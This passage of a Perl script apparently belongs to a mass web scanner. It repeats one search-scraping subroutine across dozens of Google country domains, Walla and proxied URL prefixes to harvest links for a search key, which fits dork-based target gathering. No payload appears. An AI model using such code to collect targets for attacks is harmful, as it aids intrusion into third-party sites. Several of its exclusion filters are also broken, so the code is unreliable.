  3541.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  3542.                 my $link = $1;
  3543.             if ($link !~ /yandex|bing|google|javascript|blogspot|facebook/){
  3544.                 my @grep = &links($link);
  3545.                 push(@list,@grep);
  3546.             }
  3547.         }
  3548.     }
  3549.     return @list;
  3550. }
  3551.  
  3552. sub wallaa() {
  3553.     my @list;
  3554.     my $num=1;
  3555.     my $max=100;
  3556.     my $key = $_[0];
  3557.     for ($b=0; $b<=$max; $b+=$num) {
  3558.         my $search = ("http://search.walla.co.il/?q=".&key($key)."&type=text&page=".$b);
  3559.         my $res = &search_engine_query($search);
  3560.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  3561.             my $link = $1;
  3562.             if ($link !~ /walla\.co\.il|google|facebook|blogspot|wikipedia|yahoo|twitter/){
  3563.                 my @grep = &links($link);
  3564.                 push(@list,@grep);
  3565.             }
  3566.         }
  3567.     }
  3568.     return @list;
  3569. }
  3570.  
  3571. sub jack() {
  3572.     my @list;
  3573.     my $key = $_[0];
  3574.     my $jackx = $_[1];
  3575.     for (my $i=0; $i<=1000; $i+=100){
  3576.         my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
  3577.         my $res = &search_engine_query($search);
  3578.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3579.             my $link = $1;
  3580.             if ($link !~ /google/){
  3581.                 my @grep = &links($link);
  3582.                 push(@list,@grep);
  3583.             }
  3584.         }
  3585.     }
  3586.     return @list;
  3587. }
  3588.  
  3589. sub google() {
  3590.     my @list;
  3591.     my $key = $_[0];
  3592.     for (my $i=0; $i<=1000; $i+=100){
  3593.         my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  3594.         my $res = &search_engine_query($search);
  3595.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3596.             my $link = $1;
  3597.             if ($link !~ /google/){
  3598.                 my @grep = &links($link);
  3599.                 push(@list,@grep);
  3600.             }
  3601.         }
  3602.     }
  3603.     return @list;
  3604. }
  3605.  
  3606. sub googleCA() {
  3607.     my @list;
  3608.     my $key = $_[0];
  3609.     for (my $i=0; $i<=1000; $i+=100){
  3610.         my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3611.         my $res = &search_engine_query($search);
  3612.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3613.             my $link = $1;
  3614.             if ($link !~ /googleCA/){
  3615.                 my @grep = links($link);
  3616.                 push(@list,@grep);
  3617.             }
  3618.         }
  3619.     }
  3620.     return @list;
  3621. }
  3622.  
  3623. sub googleDE() {
  3624.     my @list;
  3625.     my $key = $_[0];
  3626.     for (my $i=0; $i<=1000; $i+=100){
  3627.         my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3628.         my $res = &search_engine_query($search);
  3629.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3630.             my $link = $1;
  3631.             if ($link !~ /googleDE/){
  3632.                 my @grep = links($link);
  3633.                 push(@list,@grep);
  3634.             }
  3635.         }
  3636.     }
  3637.     return @list;
  3638. }
  3639.  
  3640. sub googleUK() {
  3641.     my @list;
  3642.     my $key = $_[0];
  3643.     for (my $i=0; $i<=1000; $i+=100){
  3644.         my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3645.         my $res = &search_engine_query($search);
  3646.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3647.             my $link = $1;
  3648.             if ($link !~ /googleUK/){
  3649.                 my @grep = links($link);
  3650.                 push(@list,@grep);
  3651.             }
  3652.         }
  3653.     }
  3654.     return @list;
  3655. }
  3656.  
  3657. sub googleFR() {
  3658.     my @list;
  3659.     my $key = $_[0];
  3660.     for (my $i=0; $i<=1000; $i+=100){
  3661.         my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3662.         my $res = &search_engine_query($search);
  3663.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3664.             my $link = $1;
  3665.             if ($link !~ /googleFR/){
  3666.                 my @grep = links($link);
  3667.                 push(@list,@grep);
  3668.             }
  3669.         }
  3670.     }
  3671.     return @list;
  3672. }
  3673.  
  3674. sub googleES() {
  3675.     my @list;
  3676.     my $key = $_[0];
  3677.     for (my $i=0; $i<=1000; $i+=100){
  3678.         my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3679.         my $res = &search_engine_query($search);
  3680.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3681.             my $link = $1;
  3682.             if ($link !~ /googleES/){
  3683.                 my @grep = links($link);
  3684.                 push(@list,@grep);
  3685.             }
  3686.         }
  3687.     }
  3688.     return @list;
  3689. }
  3690.  
  3691. sub googleIT() {
  3692.     my @list;
  3693.     my $key = $_[0];
  3694.     for (my $i=0; $i<=1000; $i+=100){
  3695.         my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3696.         my $res = &search_engine_query($search);
  3697.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3698.             my $link = $1;
  3699.             if ($link !~ /googleIT/){
  3700.                 my @grep = links($link);
  3701.                 push(@list,@grep);
  3702.             }
  3703.         }
  3704.     }
  3705.     return @list;
  3706. }
  3707. sleep(1);
  3708. sub googleNL() {
  3709.     my @list;
  3710.     my $key = $_[0];
  3711.     for (my $i=0; $i<=1000; $i+=100){
  3712.         my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3713.         my $res = &search_engine_query($search);
  3714.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3715.             my $link = $1;
  3716.             if ($link !~ /googleNL/){
  3717.                 my @grep = links($link);
  3718.                 push(@list,@grep);
  3719.             }
  3720.         }
  3721.     }
  3722.     return @list;
  3723. }
  3724.  
  3725. sub googleBE() {
  3726.     my @list;
  3727.     my $key = $_[0];
  3728.     for (my $i=0; $i<=1000; $i+=100){
  3729.         my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3730.         my $res = &search_engine_query($search);
  3731.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3732.             my $link = $1;
  3733.             if ($link !~ /googleBE/){
  3734.                 my @grep = links($link);
  3735.                 push(@list,@grep);
  3736.             }
  3737.         }
  3738.     }
  3739.     return @list;
  3740. }
  3741.  
  3742. sub googleCH() {
  3743.     my @list;
  3744.     my $key = $_[0];
  3745.     for (my $i=0; $i<=1000; $i+=100){
  3746.         my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3747.         my $res = &search_engine_query($search);
  3748.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3749.             my $link = $1;
  3750.             if ($link !~ /googleCH/){
  3751.                 my @grep = links($link);
  3752.                 push(@list,@grep);
  3753.             }
  3754.         }
  3755.     }
  3756.     return @list;
  3757. }
  3758. sleep(1);
  3759. sub googleSE() {
  3760.     my @list;
  3761.     my $key = $_[0];
  3762.     for (my $i=0; $i<=1000; $i+=100){
  3763.         my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3764.         my $res = &search_engine_query($search);
  3765.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3766.             my $link = $1;
  3767.             if ($link !~ /googleSE/){
  3768.                 my @grep = links($link);
  3769.                 push(@list,@grep);
  3770.             }
  3771.         }
  3772.     }
  3773.     return @list;
  3774. }
  3775.  
  3776. sub googleDK() {
  3777.     my @list;
  3778.     my $key = $_[0];
  3779.     for (my $i=0; $i<=1000; $i+=100){
  3780.         my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3781.         my $res = &search_engine_query($search);
  3782.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3783.             my $link = $1;
  3784.             if ($link !~ /googleDK/){
  3785.                 my @grep = links($link);
  3786.                 push(@list,@grep);
  3787.             }
  3788.         }
  3789.     }
  3790.     return @list;
  3791. }
  3792.  
  3793. sub googleNO() {
  3794.     my @list;
  3795.     my $key = $_[0];
  3796.     for (my $i=0; $i<=1000; $i+=100){
  3797.         my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3798.         my $res = &search_engine_query($search);
  3799.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3800.             my $link = $1;
  3801.             if ($link !~ /googleNO/){
  3802.                 my @grep = links($link);
  3803.                 push(@list,@grep);
  3804.             }
  3805.         }
  3806.     }
  3807.     return @list;
  3808. }
  3809. sleep(1);
  3810. sub googleNZ() {
  3811.     my @list;
  3812.     my $key = $_[0];
  3813.     for (my $i=0; $i<=1000; $i+=100){
  3814.         my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3815.         my $res = &search_engine_query($search);
  3816.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3817.             my $link = $1;
  3818.             if ($link !~ /googleNZ/){
  3819.                 my @grep = links($link);
  3820.                 push(@list,@grep);
  3821.             }
  3822.         }
  3823.     }
  3824.     return @list;
  3825. }
  3826.  
  3827. sub googleIE() {
  3828.     my @list;
  3829.     my $key = $_[0];
  3830.     for (my $i=0; $i<=1000; $i+=100){
  3831.         my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3832.         my $res = &search_engine_query($search);
  3833.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3834.             my $link = $1;
  3835.             if ($link !~ /googleIE/){
  3836.                 my @grep = links($link);
  3837.                 push(@list,@grep);
  3838.             }
  3839.         }
  3840.     }
  3841.     return @list;
  3842. }
  3843.  
  3844. sub googleBR() {
  3845.     my @list;
  3846.     my $key = $_[0];
  3847.     for (my $i=0; $i<=1000; $i+=100){
  3848.         my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3849.         my $res = &search_engine_query($search);
  3850.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3851.             my $link = $1;
  3852.             if ($link !~ /google/){
  3853.                 my @grep = links($link);
  3854.                 push(@list,@grep);
  3855.             }
  3856.         }
  3857.     }
  3858.     return @list;
  3859. }
  3860. sleep(2);
  3861. sub googleAR() {
  3862.     my @list;
  3863.     my $key = $_[0];
  3864.     for (my $i=0; $i<=1000; $i+=100){
  3865.         my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3866.         my $res = &search_engine_query($search);
  3867.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3868.             my $link = $1;
  3869.             if ($link !~ /googleAR/){
  3870.                 my @grep = links($link);
  3871.                 push(@list,@grep);
  3872.             }
  3873.         }
  3874.     }
  3875.     return @list;
  3876. }
  3877.  
  3878. sub googleCO() {
  3879.     my @list;
  3880.     my $key = $_[0];
  3881.     for (my $i=0; $i<=1000; $i+=100){
  3882.         my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3883.         my $res = &search_engine_query($search);
  3884.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3885.             my $link = $1;
  3886.             if ($link !~ /googleCO/){
  3887.                 my @grep = links($link);
  3888.                 push(@list,@grep);
  3889.             }
  3890.         }
  3891.     }
  3892.     return @list;
  3893. }
  3894.  
  3895. sub googleCU() {
  3896.     my @list;
  3897.     my $key = $_[0];
  3898.     for (my $i=0; $i<=1000; $i+=100){
  3899.         my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3900.         my $res = &search_engine_query($search);
  3901.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3902.             my $link = $1;
  3903.             if ($link !~ /googleCU/){
  3904.                 my @grep = links($link);
  3905.                 push(@list,@grep);
  3906.             }
  3907.         }
  3908.     }
  3909.     return @list;
  3910. }
  3911. sleep(2);
  3912. sub googleCL() {
  3913.     my @list;
  3914.     my $key = $_[0];
  3915.     for (my $i=0; $i<=1000; $i+=100){
  3916.         my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3917.         my $res = &search_engine_query($search);
  3918.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3919.             my $link = $1;
  3920.             if ($link !~ /googleCL/){
  3921.                 my @grep = links($link);
  3922.                 push(@list,@grep);
  3923.             }
  3924.         }
  3925.     }
  3926.     return @list;
  3927. }
  3928.  
  3929. sub googleMX() {
  3930.     my @list;
  3931.     my $key = $_[0];
  3932.     for (my $i=0; $i<=1000; $i+=100){
  3933.         my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3934.         my $res = &search_engine_query($search);
  3935.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3936.             my $link = $1;
  3937.             if ($link !~ /googleMX/){
  3938.                 my @grep = links($link);
  3939.                 push(@list,@grep);
  3940.             }
  3941.         }
  3942.     }
  3943.     return @list;
  3944. }
  3945.  
  3946. sub googleAU() {
  3947.     my @list;
  3948.     my $key = $_[0];
  3949.     for (my $i=0; $i<=1000; $i+=100){
  3950.         my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3951.         my $res = &search_engine_query($search);
  3952.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3953.             my $link = $1;
  3954.             if ($link !~ /googleAU/){
  3955.                 my @grep = links($link);
  3956.                 push(@list,@grep);
  3957.             }
  3958.         }
  3959.     }
  3960.     return @list;
  3961. }
  3962. sleep(2);
  3963. sub googleRU() {
  3964.     my @list;
  3965.     my $key = $_[0];
  3966.     for (my $i=0; $i<=1000; $i+=100){
  3967.         my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3968.         my $res = &search_engine_query($search);
  3969.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3970.             my $link = $1;
  3971.             if ($link !~ /googleRU/){
  3972.                 my @grep = links($link);
  3973.                 push(@list,@grep);
  3974.             }
  3975.         }
  3976.     }
  3977.     return @list;
  3978. }
  3979.  
  3980. sub googleAT() {
  3981.     my @list;
  3982.     my $key = $_[0];
  3983.     for (my $i=0; $i<=1000; $i+=100){
  3984.         my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3985.         my $res = &search_engine_query($search);
  3986.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3987.             my $link = $1;
  3988.             if ($link !~ /googleAT/){
  3989.                 my @grep = links($link);
  3990.                 push(@list,@grep);
  3991.             }
  3992.         }
  3993.     }
  3994.     return @list;
  3995. }
  3996.  
  3997. sub googlePL() {
  3998.     my @list;
  3999.     my $key = $_[0];
  4000.     for (my $i=0; $i<=1000; $i+=100){
  4001.         my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4002.         my $res = &search_engine_query($search);
  4003.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4004.             my $link = $1;
  4005.             if ($link !~ /googlePL/){
  4006.                 my @grep = links($link);
  4007.                 push(@list,@grep);
  4008.             }
  4009.         }
  4010.     }
  4011.     return @list;
  4012. }
  4013. sleep(3);
  4014. sub googleIL() {
  4015.     my @list;
  4016.     my $key = $_[0];
  4017.     for (my $i=0; $i<=1000; $i+=100){
  4018.         my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4019.         my $res = &search_engine_query($search);
  4020.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4021.             my $link = $1;
  4022.             if ($link !~ /googleIL/){
  4023.                 my @grep = links($link);
  4024.                 push(@list,@grep);
  4025.             }
  4026.         }
  4027.     }
  4028.     return @list;
  4029. }
  4030.  
  4031. sub googleTR() {
  4032.     my @list;
  4033.     my $key = $_[0];
  4034.     for (my $i=0; $i<=1000; $i+=100){
  4035.         my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4036.         my $res = &search_engine_query($search);
  4037.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4038.             my $link = $1;
  4039.             if ($link !~ /googleTR/){
  4040.                 my @grep = links($link);
  4041.                 push(@list,@grep);
  4042.             }
  4043.         }
  4044.     }
  4045.     return @list;
  4046. }
  4047.  
  4048. sub googleUA() {
  4049.     my @list;
  4050.     my $key = $_[0];
  4051.     for (my $i=0; $i<=1000; $i+=100){
  4052.         my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4053.         my $res = &search_engine_query($search);
  4054.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4055.             my $link = $1;
  4056.             if ($link !~ /googleUA/){
  4057.                 my @grep = links($link);
  4058.                 push(@list,@grep);
  4059.             }
  4060.         }
  4061.     }
  4062.     return @list;
  4063. }
  4064. sleep(3);
  4065. sub googleGR() {
  4066.     my @list;
  4067.     my $key = $_[0];
  4068.     for (my $i=0; $i<=1000; $i+=100){
  4069.         my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4070.         my $res = &search_engine_query($search);
  4071.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4072.             my $link = $1;
  4073.             if ($link !~ /googleGR/){
  4074.                 my @grep = links($link);
  4075.                 push(@list,@grep);
  4076.             }
  4077.         }
  4078.     }
  4079.     return @list;
  4080. }
  4081.  
  4082. sub googleJP() {
  4083.     my @list;
  4084.     my $key = $_[0];
  4085.     for (my $i=0; $i<=1000; $i+=100){
  4086.         my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4087.         my $res = &search_engine_query($search);
  4088.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4089.             my $link = $1;
  4090.             if ($link !~ /googleJP/){
  4091.                 my @grep = links($link);
  4092.                 push(@list,@grep);
  4093.             }
  4094.         }
  4095.     }
  4096.     return @list;
  4097. }
  4098.  
  4099. sub googleCN() {
  4100.     my @list;
  4101.     my $key = $_[0];
  4102.     for (my $i=0; $i<=1000; $i+=100){
  4103.         my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4104.         my $res = &search_engine_query($search);
  4105.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4106.             my $link = $1;
  4107.             if ($link !~ /googleCN/){
  4108.                 my @grep = links($link);
  4109.                 push(@list,@grep);
  4110.             }
  4111.         }
  4112.     }
  4113.     return @list;
  4114. }
  4115. sleep(3);
  4116. sub googleMY() {
  4117.     my @list;
  4118.     my $key = $_[0];
  4119.     for (my $i=0; $i<=1000; $i+=100){
  4120.         my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4121.         my $res = &search_engine_query($search);
  4122.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4123.             my $link = $1;
  4124.             if ($link !~ /googleMY/){
  4125.                 my @grep = links($link);
  4126.                 push(@list,@grep);
  4127.             }
  4128.         }
  4129.     }
  4130.     return @list;
  4131. }
  4132.  
  4133. sub googleTH() {
  4134.     my @list;
  4135.     my $key = $_[0];
  4136.     for (my $i=0; $i<=1000; $i+=100){
  4137.         my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4138.         my $res = &search_engine_query($search);
  4139.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4140.             my $link = $1;
  4141.             if ($link !~ /googleTH/){
  4142.                 my @grep = links($link);
  4143.                 push(@list,@grep);
  4144.             }
  4145.         }
  4146.     }
  4147.     return @list;
  4148. }
  4149.  
  4150. sub googleIN() {
  4151.     my @list;
  4152.     my $key = $_[0];
  4153.     for (my $i=0; $i<=1000; $i+=100){
  4154.         my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4155.         my $res = &search_engine_query($search);
  4156.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4157.             my $link = $1;
  4158.             if ($link !~ /googleIN/){
  4159.                 my @grep = links($link);
  4160.                 push(@list,@grep);
  4161.             }
  4162.         }
  4163.     }
  4164.     return @list;
  4165. }
  4166. sleep(3);
  4167. sub googleKR() {
  4168.     my @list;
  4169.     my $key = $_[0];
  4170.     for (my $i=0; $i<=1000; $i+=100){
  4171.         my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4172.         my $res = &search_engine_query($search);
  4173.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4174.             my $link = $1;
  4175.             if ($link !~ /googleKR/){
  4176.                 my @grep = links($link);
  4177.                 push(@list,@grep);
  4178.             }
  4179.         }
  4180.     }
  4181.     return @list;
  4182. }
  4183.  
  4184. sub googleRO() {
  4185.     my @list;
  4186.     my $key = $_[0];
  4187.     for (my $i=0; $i<=1000; $i+=100){
  4188.         my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4189.         my $res = &search_engine_query($search);
  4190.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4191.             my $link = $1;
  4192.             if ($link !~ /googleRO/){
  4193.                 my @grep = links($link);
  4194.                 push(@list,@grep);
  4195.             }
  4196.         }
  4197.     }
  4198.     return @list;
  4199. }
  4200.  
  4201. sub googleTW() {
  4202.     my @list;
  4203.     my $key = $_[0];
  4204.     for (my $i=0; $i<=1000; $i+=100){
  4205.         my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4206.         my $res = &search_engine_query($search);
  4207.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4208.             my $link = $1;
  4209.             if ($link !~ /googleTW/){
  4210.                 my @grep = links($link);
  4211.                 push(@list,@grep);
  4212.             }
  4213.         }
  4214.     }
  4215.     return @list;
  4216. }
  4217. sleep(3);
  4218. sub googleZA() {
  4219.     my @list;
  4220.     my $key = $_[0];
  4221.     for (my $i=0; $i<=1000; $i+=100){
  4222.         my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4223.         my $res = &search_engine_query($search);
  4224.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4225.             my $link = $1;
  4226.             if ($link !~ /googleZA/){
  4227.                 my @grep = links($link);
  4228.                 push(@list,@grep);
  4229.             }
  4230.         }
  4231.     }
  4232.     return @list;
  4233. }
  4234.  
  4235. sub googlePT() {
  4236.     my @list;
  4237.     my $key = $_[0];
  4238.     for (my $i=0; $i<=1000; $i+=100){
  4239.         my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4240.         my $res = &search_engine_query($search);
  4241.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4242.             my $link = $1;
  4243.             if ($link !~ /googlePT/){
  4244.                 my @grep = links($link);
  4245.                 push(@list,@grep);
  4246.             }
  4247.         }
  4248.     }
  4249.     return @list;
  4250. }
  4251.  
  4252. sub ae() {
  4253.     my @list;
  4254.     my $key = $_[0];
  4255.     for (my $i=0; $i<=1000; $i+=100){
  4256.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i);
  4257.         my $res = &search_engine_query($search);
  4258.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4259.             my $link = $1;
  4260.             if ($link !~ /google/){
  4261.                 my @grep = &links($link);
  4262.                 push(@list,@grep);
  4263.             }
  4264.         }
  4265.     }
  4266.     return @list;
  4267. }
  4268.  
  4269. sub ar() {
  4270.     my @list;
  4271.     my $key = $_[0];
  4272.     for (my $i=0; $i<=1000; $i+=100){
  4273.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i);
  4274.         my $res = &search_engine_query($search);
  4275.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4276.             my $link = $1;
  4277.             if ($link !~ /google/){
  4278.                 my @grep = &links($link);
  4279.                 push(@list,@grep);
  4280.             }
  4281.         }
  4282.     }
  4283.     return @list;
  4284. }
  4285.  
  4286. sub at() {
  4287.     my @list;
  4288.     my $key = $_[0];
  4289.     for (my $i=0; $i<=1000; $i+=100){
  4290.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i);
  4291.         my $res = &search_engine_query($search);
  4292.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4293.             my $link = $1;
  4294.             if ($link !~ /google/){
  4295.                 my @grep = &links($link);
  4296.                 push(@list,@grep);
  4297.             }
  4298.         }
  4299.     }
  4300.     return @list;
  4301. }
  4302.  
  4303. sub au() {
  4304.     my @list;
  4305.     my $key = $_[0];
  4306.     for (my $i=0; $i<=1000; $i+=100){
  4307.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i);
  4308.         my $res = &search_engine_query($search);
  4309.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4310.             my $link = $1;
  4311.             if ($link !~ /google/){
  4312.                 my @grep = &links($link);
  4313.                 push(@list,@grep);
  4314.             }
  4315.         }
  4316.     }
  4317.     return @list;
  4318. }
  4319.  
  4320. sub br() {
  4321.     my @list;
  4322.     my $key = $_[0];
  4323.     for (my $i=0; $i<=1000; $i+=100){
  4324.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i);
  4325.         my $res = &search_engine_query($search);
  4326.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4327.             my $link = $1;
  4328.             if ($link !~ /google/){
  4329.                 my @grep = &links($link);
  4330.                 push(@list,@grep);
  4331.             }
  4332.         }
  4333.     }
  4334.     return @list;
  4335. }
  4336.  
  4337. sub ca() {
  4338.     my @list;
  4339.     my $key = $_[0];
  4340.     for (my $i=0; $i<=1000; $i+=100){
  4341.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i);
  4342.         my $res = &search_engine_query($search);
  4343.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4344.             my $link = $1;
  4345.             if ($link !~ /google/){
  4346.                 my @grep = &links($link);
  4347.                 push(@list,@grep);
  4348.             }
  4349.         }
  4350.     }
  4351.     return @list;
  4352. }
  4353.  
  4354. sub cl() {
  4355.     my @list;
  4356.     my $key = $_[0];
  4357.     for (my $i=0; $i<=1000; $i+=100){
  4358.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i);
  4359.         my $res = &search_engine_query($search);
  4360.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4361.             my $link = $1;
